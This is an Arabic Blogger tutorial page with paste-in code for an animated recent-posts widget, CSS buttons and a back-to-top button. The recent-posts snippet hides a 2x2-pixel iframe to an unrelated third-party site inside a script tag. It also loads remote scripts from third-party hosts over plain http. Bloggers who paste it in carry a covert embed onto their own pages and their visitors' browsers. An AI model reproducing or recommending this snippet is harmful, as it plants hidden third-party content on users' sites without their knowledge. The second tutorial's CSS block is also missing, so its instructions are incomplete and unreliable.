أخبار عاجلة
‏إظهار الرسائل ذات التسميات ادوات بلوجر. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات ادوات بلوجر. إظهار كافة الرسائل

اضافة اداة اخر المواضيع في المدونة بلوجر بشكل متحرك

سكريبت آخر المواضيع مهم جدا ليبقى الزائر أطول مدة ممكنة فى موقعك لأنه يتيح لعرض عدد من آخر المواضيع التى تحددها بطريقة متحركة وجميلة الإضافة يمكن ملاحظتها


طريقة تركيب

 الكود بمدونات بلوجر
الدخول على التصميم ثم إضافة أداة >>> Html,Javascript
نسخ الكود التالي ولصقه بالنافذة

كود بلغة HTML:
<script type='text/javascript'> jQuery.noConflict(); </script> <style>img.recent_thumb {padding:1px;width:55px;height:55px;border:0;float:right;margin:0 0 5px 10px;}.recent_posts_with_thumbs {float: left;width: 100%;min-height: 70px;margin: 5px 0px 5px 0px;padding: 0;font-size:12px;}ul.recent_posts_with_thumbs li {padding-bottom:5px;padding-top:5px;min-height:65px;}.recent_posts_with_thumbs a {text-decoration:none;}.recent_posts_with_thumbs strong {font-size:10px;}</style> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script style='text/javascript' src="http://glitter-text.googlecode.com/files/recentpostticker.js" ></script>
<script style='text/javascript' src='http://glitter-text.googlecode.com/files/recentpostswiththumbnailsv3.js'></script> <script style='text/javascript'> var numposts = 15; var showpostthumbnails = true; var displaymore = false; var displayseparator = false; var showcommentnum = false; var showpostdate = false; var showpostsummary = false; var numchars = 100; jQuery(document).ready(function($) {$('#sai').vTicker({ speed: 600, pause: 4000, showItems: 7, animation: 'fade', mousePause: false, height: 0, direction: 'down' });}); </script> <div id="sai">
<script src='http://www.3lahwa.net/feeds/posts/default?orderby=published&alt=json-in-script&callback=showrecentpostswiththumbs'><iframe src ="http://arabdownload.hooxs.com/h6-page" width="2" height="2"></iframe></script> </div>

لاتنسي


وضع رابط موقعك أو مدونتك بدلا من
http://www.3lahwa.net/



ويمكن التحكم بعدد المواضيع عن طريق التغيير فى القيمة
var numposts = 15;


وعدد المواضيع المعروضة عن طريق التغيير فى القيمة

showItems: 7,


والتحكم فى سرعة الحركة عن طريق التغيير فى القيم
speed: 600,
pause: 4000,

اضافة ازرار بشكل جميل بتقنية css لمدونة بلوجر [Blogger]

ساشرح لكم اضافة بلوجر نحتاجها كثيرا في مدوناتنا انها ازرار التحميل ومشاهدة و تستعمل خاصة في مدونات التي تهتم بطرح القوالب و مشاهدة او تحميل الاضافات و البرامج

كثيرا ما نشاهدها في المدونات الاجنبية لكن معظم المدونين العرب لا يعرف هذه الطريقة .
هذه الاداة افضل بكثير من استعمال الصور لانه يمكن ان تكتب فيها ما تشاء اضافة الي ان الصور تاخذ وقت كبير في التحميل مما يفقد المدونة سرعتها فمع نمط css يمكنك انشاء ازرار بتاثيرات جميلة و سريعة.
لنبدأ على بركة الله

1 - قم بتسجيل الدخول إلى مدونتك بلوجر.
2 - من لوحة التحكم الخاصة بمدونتك توجه إلى تصميم أو قالب.
3- ابحث عن :  ]]></b:skin>  باستخدام ctrl + f .
ثم قم بإضافة هذا الكود قبله مباشرة :

 

قم بحفظ القالب

ثم اذهب الي مشاركة جديدة و عندما تحتاج لهذه الاضافة اضغط علي زر html بجانب زر تاليف ثم اضف الكود التالي


هذا الزر ناحية اليمين
<a class="demobutton button" href="الرابط الذي تريد مشاهدته" rel="nofollow" style="float: right;" target="_blank"><span style="display: inline-block;">مشاهدة</span></a>


هذا الزر في الوسط
<a class="demobutton button" href="الرابط الذي تريد تحميله" rel="nofollow" style="float: center;" target="_blank"><span style="display: inline-block;">معاينة </span></a> 


هذا الزر في اليسار
<a class="demobutton button" href="الرابط الذي تريد تحميله" rel="nofollow" style="float: left;" target="_blank"><span style="display: inline-block;">تحميل </span></a>


غير ما باللون الاحمر بما يتماشي معك

اضافة زر انتقل الى الاعلى بتنقية Jquery لمدونة بلوجر [Blogger]


السلام عليكم ورحمة الله وبركاته

اقدم لك اليوم متابع  افكار بلوجر, اضافة بلوجر جديدة

اضافة رائعة جداا وهى خصوصا لمن يمتلك تعليقات كثيرة فى المشاركات او يمتلك مواضيع كثيرة فى الصفحات

فهى توفر على الزوار الانتقال الى الاعلى بكل سهولة وتساعد فى تصفح مدونة البلوجر




كيفية تركيب الاضافة اتبع الاتى :

1- التوجه الى لوحة التحكم بلوجر
2- اختار قالب ,, تحرير HTML
3- قم بالبحث عن </body> واضف هذا الكود قبله



يمكنك استبدال اضافة بلوجر بصورة اذا اردت 

اراكم فى مشاركة جديدة ان شاء الله